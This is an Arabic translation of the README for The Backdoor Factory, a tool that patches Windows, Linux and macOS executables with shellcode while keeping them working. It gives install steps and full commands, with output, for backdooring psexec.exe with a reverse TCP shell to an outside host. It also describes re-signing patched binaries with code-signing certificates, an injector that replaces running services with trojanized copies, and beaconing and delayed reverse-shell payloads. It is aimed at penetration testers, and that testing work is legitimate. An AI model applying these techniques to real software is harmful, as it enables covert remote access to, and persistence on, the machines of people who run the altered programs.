
تصحيح ثنائيات PE وELF وMach-O باستخدام الشيلكود — نسخة جديدة قيد التطوير، متاحة للداعمين فقط.
للمتخصصين والباحثين في مجال الأمن فقط.
الهدف من BDF هو تصحيح (patch) الملفات التنفيذية الثنائية بشيلكود (shellcode) يريده المستخدم، ثم متابعة التنفيذ الطبيعي للحالة قبل التصحيح.
Black Hat USA 2015:
الفيديو: https://www.youtube.com/watch?v=OuyLzkG16Uk
الورقة: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
الفيديو: https://archive.org/details/joshpitts_shmoocon2015
الورقة: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
الفيديو: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
الفيديو: http://www.youtube.com/watch?v=jXLb2RNX5xs
عرض وحدة الحقن: http://www.youtube.com/watch?v=04aJAex2o3U
الشرائح: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
تواصل مع المطوّر عبر:
IRC:
irc.freenode.net #BDFactory
تويتر:
@midnite_runr
بموجب رخصة BSD ذات البنود الثلاثة
انظر الويكي: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####لاستخدام OnionDuke يجب أن تكون على جهاز بمعمارية Intel لأن aPLib لا يدعم شرائح ARM حتى الآن.
يمكن تثبيت محرك Capstone من PyPi باستخدام:
sudo pip install capstone
Pefile، الأحدث:
https://code.google.com/p/pefile/
osslsigncode (مضمّن في المستودع):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
التثبيت على Kali:
apt-get update
apt-get install backdoor-factory
التثبيت على أنظمة *NIX/MAC الأخرى:
./install.sh
سيقوم هذا بتثبيت Capstone بإصدار 3.01 باستخدام pip، وتثبيت pefile.
التحديث:
./update.sh
الأنظمة المدعومة:
Windows PE x86/x64، ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32)،
وMach-O x86/x64، وتلك الصيغ في ملفات FAT
الملفات المضغوطة: PE UPX x86/x64
تجريبي: OpenBSD x32
بعض الملفات التنفيذية تحتوي على حمايات مدمجة، وبالتالي لن يعمل هذا على جميع الملفات الثنائية. يُنصح باختبار الملفات الثنائية المستهدفة قبل نشرها للعملاء أو استخدامها في التمارين. أنا على وشك تجاوز NSIS، لذا فإن تجاوز هذه الفحوصات سيُضاف في المستقبل.
الشكر الجزيل لـ Ryan O'Neill --ryan 'at' codeslum <d ot> org--
لولاه، لكنت ما زلت أحاول القيام بأشياء غبية
بصيغة elf.
وشكرًا أيضًا لـ Silvio Cesare على ورقته البحثية الصادرة عام 1998
(http://vxheaven.org/lib/vsc01.html) التي تستند إليها تقنيات تصحيح ELF هذه.
./backdoor.py -h Usage: backdoor.py [options]
يمكنه العثور على جميع فجوات الكود (codecaves) في ملف EXE/DLL.
افتراضيًا، يمسح المؤشر إلى جدول شهادات PE، مما يلغي توقيع الملف الثنائي.
يمكنه حقن الشيلكود في فجوات الكود أو في قسم جديد.
يمكنه معرفة ما إذا كان الملف الثنائي PE يتطلب صلاحيات مرتفعة للتشغيل.
عند اختيار فجوات الكود، يمكنك استخدام الأوامر التالية:
-Jump (j)، للقفز بين فجوات الكود
-Single (s)، لتصحيح كل الشيلكود في فجوة واحدة
-Append (a)، لإنشاء فجوة كود
-Ignore (i or q)، لا بأس، تجاهل هذا الملف الثنائي
يمكنه تجاهل ملفات DLL
تصحيح جدول الاستيراد
التصحيح التلقائي (-m automtic)
Onionduke (-m onionduke)
يوسّع مقطع النص (TEXT SEGMENT) بمقدار 1000 بايت ويحقن الشيلكود في ذلك القسم من الكود.
تصحيح قسم ما قبل النص وإزالة التوقيع
يمكن للمستخدم:
-توفير شيلكود مخصص.
-تصحيح مجلد من الملفات التنفيذية/ملفات DLL.
-اختيار تصحيح الملفات الثنائية x32 أو x64 فقط.
-تضمين BDF في مشاريع بايثون الأخرى، انظر إلى pebin.py وelfbin.py
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
هذا سيشغّل calc.exe على محطة عمل ويندوز الهدف. مستوى 1337. اختراق عظيم. واو.
يمكن لـ BDF توقيع ملفات PE إذا كان لديك شهادة توقيع كود. يستخدم osslsigncode.
ضع شهادة التوقيع والمفتاح الخاص في مجلد certs/. جهّز شهاداتك باستخدام أوامر openssl من منشور المدونة هذا:
http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
ضع كلمة مرور مفتاحك الخاص في ملف (أجل، فعلاً) كما يلي (بالضبط هكذا):
echo -n yourpassword > certs/passFile.txt
سمِّ شهاداتك بالضبط كما يلي:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
يجب أن يبدو مجلد certs/ بهذا الشكل تمامًا:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
فعِّل توقيع كود PE باستخدام العلم -C كما يلي:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
عند التشغيل الناجح يجب أن ترى هذا السطر في مخرجات BDF:
[*] Code Signing Succeeded
ستبحث وحدة الحقن (injector) عن الملفات التنفيذية الهدف على القرص لتصييدها خلفيًا (backdoor). ستتحقق مما إذا كنت قد حددت الهدف كخدمة، وستفحص ما إذا كانت العملية قيد التشغيل، ثم تقتل العملية و/أو الخدمة، وتحقن الملف التنفيذي بالشيلكود، وتحفظ الملف الأصلي باسم file.exe.old أو لاحقة أخرى من اختيارك، وتحاول إعادة تشغيل العملية أو الخدمة.
عدّل قاموس بايثون "list_of_targets" في وحدة 'injector' لتحديد الأهداف التي تختارها.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
####01/11/2016
####07/04/2016
####06/19/2016
./preprocessor/####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
إضافة أسلوب التصحيح 'replace' - نسخ ولصق مباشر للملف الثنائي المقدم
مخصص أكثر للاستخدام مع BDFProxy
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
الكثير من التحديثات:
تصحيح تلقائي لملفات PE (استخدم -m automatic مع حمولة *_threaded)
حمولات IAT جديدة لملفات PE بنسختي x86/x64
####2/14/2015 أحبكم يا رفاق
إضافة تصحيح جدول عناوين الاستيراد (IAT) لملفات PE لدعم حمولات iat_reverse_tcp التي تستخدم جدول الاستيراد لاستدعاءات winAPI. إذا كان الملف الثنائي الذي تصححه لا يحتوي على LoadLibraryA وGetProcAddress، على سبيل المثال، فسيقوم BDF بتصحيح ذلك بإضافة جدول استيراد جديد في قسم جديد. يدعم ملفات PE بنسختي x64/x86.
إضافة iat_reverse_tcp لملفات PE بنسخة x64.
إصلاحات أخطاء وتحسينات
####1/1/2015
سنة جديدة سعيدة!
حمولتان جديدتان لنظام OS X! حمولة التأخير: delay_reverse_shell_tcp
-B 30 --> يؤخر الحمولة لمدة 30 ثانية، بينما يعمل الكود الرئيسي فورًا.
تثبيت إصدار محدد من capstone للبناء مع BDF؛ مستودع capstone 'Next' يكسر BDF.
إصلاحات لدعم تنفيذ cython الخاص بـ capstone لمشكلة اقتطاع البايت الفارغ (null byte).
####12/27/2014
إضافة payloadtests.py
سيقوم هذا السكربت بإخراج ملفات مصححة في مجلد backdoored، مما يتيح للمستخدم اختبار الحمولات كما يشاء. كل نوع حمولة يزيد رقم المنفذ المستخدم بمقدار واحد.
Usage: payloadtest.py binary HOST PORT
####12/17/2014
حمولات OS X النابضة (Beaconing) لمعماريتي x86 وx64: beaconing_reverse_shell_tcp
-B 15 --> ضبط زمن النبض (beacon) على 15 ثانية
إصلاح خطأ لدعم OS X في BDFProxy
####10/11/2014
إضافة تصحيح PE UPX
####9/26/2014
إضافة دعم Mach-O لمعماريتي x86/x64
تحسين حمولة IAT لمعمارية x86
####7/31/2014
إضافة دعم تصحيح ELF لمعمارية ARM x32 LE
####7/22/2014
إضافة دعم تصحيح ELF لنظام FreeBSD x32
تغيير الترخيص إلى رخصة BSD ذات البنود الثلاثة
####7/13/2014
دمج Capstone: http://www.capstone-engine.org/
أثناء عملية إضافة Capstone، أزلت حوالي 500 سطر من الكود. هذا رائع جدًا.
أعدت تسمية loadliba_reverse_tcp إلى iat_reverse_tcp.
تحسينات صغيرة للسرعة.
####5/30/2014
إضافة شيلكود win86 جديد: loadliba_reverse_tcp